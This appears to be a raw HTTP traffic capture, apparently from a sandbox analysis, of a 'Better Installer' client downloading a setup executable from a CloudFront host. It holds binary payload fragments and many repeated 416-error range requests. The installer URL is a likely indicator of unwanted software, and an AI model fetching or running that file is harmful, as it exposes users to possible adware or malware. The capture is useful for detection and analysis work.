...i..4!.h....E"X).O.]..1...`..4.n. /."...P.>".-...K...I.kp.......Y
9.ye...$]..%x7.K.*ld*\0....3..j..fX%^.N]...l.pD..S~N.H\.O....#.....G..
[email protected].]|.../{^....v".2.L%....]..8.=7.yT..  .4...$.FET..0...=.\Z`4.
U..BH...O..o..}a....d.o.... T......M.i:.q..gF}.....p.....2.C]..s..px.E
,.G@.~j..z...=.v....tW....-V.CQq!.`....7...\....2..i5Pm...g..|.O(.SLt.
y>">..3...')4Z..T....i.p......F.Dk..4.....z]>.i...a...*.....3
..._-...va..........).B.H.bwH.....W.v.0$7.bud,>..f2m..t..@.}.......
..`.r.s............Oh..S.k{...9c...&....#h...."... ..>..S.....g....
f..x...@..`..................sj.Q.7...C......4JE!!.6.R.N..C!$...r..(8.
....Ged.v.!X.~.1...-.H5/....Z..Z.y..BL..=j....qL..C.;$.mH.........?.y.
......#....A..{ ......Q..%~ ..:.z.....nyO|......(Ak......ad..'~...X.'.
....E...G.Ok.{...RO3..5%..(.._k.8..#x....!!XJ19...I..{.7.A...K.E.M)l..
.....c...f..FR.!..G.......j.O.qh.R..C.}...s....../7./T.../I.S......).K
Q.....;.....]"XC..7.q.0j.%..(.l.gL.j.gU.w...3q<......a......W...M`.
....`Jv\..(o3W.R.Xz3b..wV....e"Fg.?....g.Up.{,.`.......<.....4..._.
...54.iF....sl..<n........3.Z.c.."y...k..-.....u.........(.0N0..D..
Z........rs.....~....].sR...I.kv..b.nC..4....J.......H......v.t.VlfI..
.....?M`.A"<......s...f......GQ,.tuap..,..(..\.%...ia..Ii...%@:<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1125887-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 143636

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 1125887-1269522/1286728

X-Cache: Miss from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Rs_yvGHf9AboI-xiKsZ8d_2ealIC-mIZPU-sOga3gLz5FgO2m6S6Zw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 143636..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes.
.ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 1125
887-1269522/1286728..X-Cache: Miss from cloudfront..Via: 1.1 017ee4b2e
5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Rs_y
vGHf9AboI-xiKsZ8d_2ealIC-mIZPU-sOga3gLz5FgO2m6S6Zw==... ..u%k...o...\.
.....v..S...N.........{...Ld.....)e..)....9..;c.Lo..C.`...1..L>....
{k...YA\..Z.>.MzR.('.kJ`[email protected]..$.C_z#..v.Y.6.-c_...z$.V...b.
..)..Fx.....S...d%>..k...\...SCK..;.d.........d._C..0..............
...g.(G...t..b..9........t..H.o....T..M[....Z|......a..a:%..N..=u.C...
.t....HXC$. ..[r.qf..z.O..HD.'..Q....C8.w_lqd..X.zfeR...8..8vl...-$.6[
...q6.)..k.&:...p.e#D}....>...2..`.Av.$.AP../0........mpX.....O....
...LS.a.y...7..N.g...#......<..3....N.....$\. ..5........._3.......
{......g...^.Z(....'L.......c..Z.C.o(.I,..G...y.K.C..j.S....".T..D.D..
...x..8 ..K...g...8..!.Qb.j\u^.,..M.cyA.Ww.....e~a..5`%..]............
.v.0.e...s.v&u.....$..v.......Qc...iW7.:.3E. ...?..lFx..i..saX1..y...|
.C.Z a..t...#4m~.^.i.....y...l..E.'..LvB...E*R7....y.t.r.1...J....6...
}i`......8..;. .I.I......yt1..<.E...e...o.5.U...N.._..d..!9.......*
_.'dw.......]...|.....h.*......R........S.si&...4....`...M... ........
.Y..2mT.^.h.oNO..,.3......T3P..Y..... Nl....qf0...0r^<...'.<<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269523-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Za_t4ZR9_1mq4moleI_Ovd_BgK89xrtm1C-X2eDuEUqEtp7Tj09_Ew==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269572-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _9AM6oXKUPNqF_6bS0DOkfelXQMVHtPkUlPcnsGIn9iVjYDFf3nkZA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269621-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WLtP-fqJ9Ld1yc6I3dLBtbDKk_jHiK9DE8KPEjsd4LHVYO9ezlJm5A==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269670-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ztZcj0GQC_wnSkAUDYvHHEkcaLTpa25ukpaVnENqDldQ2H5AaknE2A==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269719-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MExW3tnK_QaHUn5DJRyanceHpcwu-4kjDlLyN_C8a4jvDpd50Bk7NA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269768-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TrStWaB_lUDYMPBL98iQZQDt20sW72ienQ-eEqrS2zZ3ljhXflS6rw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269817-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6fDJ1-tJLRoZwZzlfLwmE0AgjJJLB8ptK6F34W1JtrsDGWnaf2O6iQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269866-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pngcSXA3GjMlKDJ066LWEu_L289VIUL5iK7H9oMIN7pkwtZXaI11lg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269915-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qFBUCEKG7geBykeNQXqbep4QwDMTFxjpGHfdaVqGlpgFtFfZmJBFWA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1269964-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cFN7djZqujCDJbdFKsR-oLAoYMbell35yskxYekm9HHqX3rV1IqJbA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270013-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0lnCBYNNkQ5RTab7v1GIYzxFrB4y3m-uUH-288WDoRIGNQQ7-3DZDQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270062-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Au2vPTtk6MlknxMPp7-MNS1U1SUafgviGyN2uzuNKi-fMWfd1xVhAg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270111-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: c2UnM-JZZNfwFwGEoVFVBWBnomFhN274b4gPOvklgYcBt9qZdHOCDg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270160-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hUnzzPXQK4WSDpoOQu3w6BEjApCiSUTUOhxuBQnIeeSzWE8lbwHe6w==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270209-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gCV0QZVkm4Rjuhd4YXVnVbeURUFBq8bz4F3OutlhS0Fd_Po_eE2Hzg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270258-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tPvPsqT9YxiNH2tb4ltu384ZjJPUoBi3NCe-b7skDk-G3G7K9E1Buw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270307-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qzW0B9nHfV_d4KMeAKN_eieevjmSIKPkxJUC2EOzqjO4Tb-GgobTBQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270356-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eyeJ-Cbu-6qpo5FDN0JthUMQPdH5_zoOb06setDuoLtnyyL8SzKgbw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270405-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i-ahGyzXgIzh2Rs0vDTnk78h-5881-YIy5RgD41-7ZRhFde5RLNTFg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270454-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bHNtq3eC5Re9_Kp2n-55KvnTRtd7UvP2Xbp2kz1TrUS9dGFeVvBFEQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270503-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BKIzcoh1FddvY8noiZaKLjUZR8IEZsnSN_pCEnMl6VC2GXnn2u4Rfg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270552-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5jX4RDR4srd75LRphdpUKBk3Sk-RQemZHqpD4b7vvgSu7ZguXfImKw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270601-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8sDlJE-3YMxUzu7NhGOmbjx0b57Qgc_6TZ5rdtyJ1Wb2XKIcnWB6SA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270650-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:29 GMT

Expires: Wed, 11 Feb 2015 02:30:29 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qLBXf0-7Lwk-adS1ogaG_eocf_MKSMut-TBjd9xHPJdpEuM1Z-bXWA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270699-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ffvenzZGuC-FzIqLPD3ceidPqpBmvTHdvCPQIzdr79YlaRCtnVBKMQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270748-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: K6MTIa5pzqNjo8cn3Uyt_Vl02gc5iJYuM_FAjeiii53gvS79k2a1xg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270797-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6tuGZYSnlwmEjJSKHCo7akf7QsfKVJqIKuLROy664PqzTzGR0TKoMw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270846-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hviLXBRAvv4dC0gtaLzowpcBfOfMVp0tjHx6x4VCA4s4l4kkWPozAw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270895-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QINNFMTJB0FEldJs4M7lWBZ1-SGKT-KxojIyZniSlXwjkUDaEsnC7w==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270944-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: o9mTycPbyPtQXja8lE4r2ZX1ilOxj5puvDccUeiNK4J76kG9CCbKww==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1270993-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fS5Lj-bLOcQSpcdeVO_ICG0aIAIDz62kRd234QlUPVt_YXaqvN_fzQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271042-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: idqOLxR0LvPC9oExLiYONlN0CjHI-u9b5VFL14fLzRDLvgH5h5jrzQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271091-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JvO3cQ7mT2G5mQbYndASHVDGGolE3Z0x25r6K7noT66TnoOOhAX9cQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

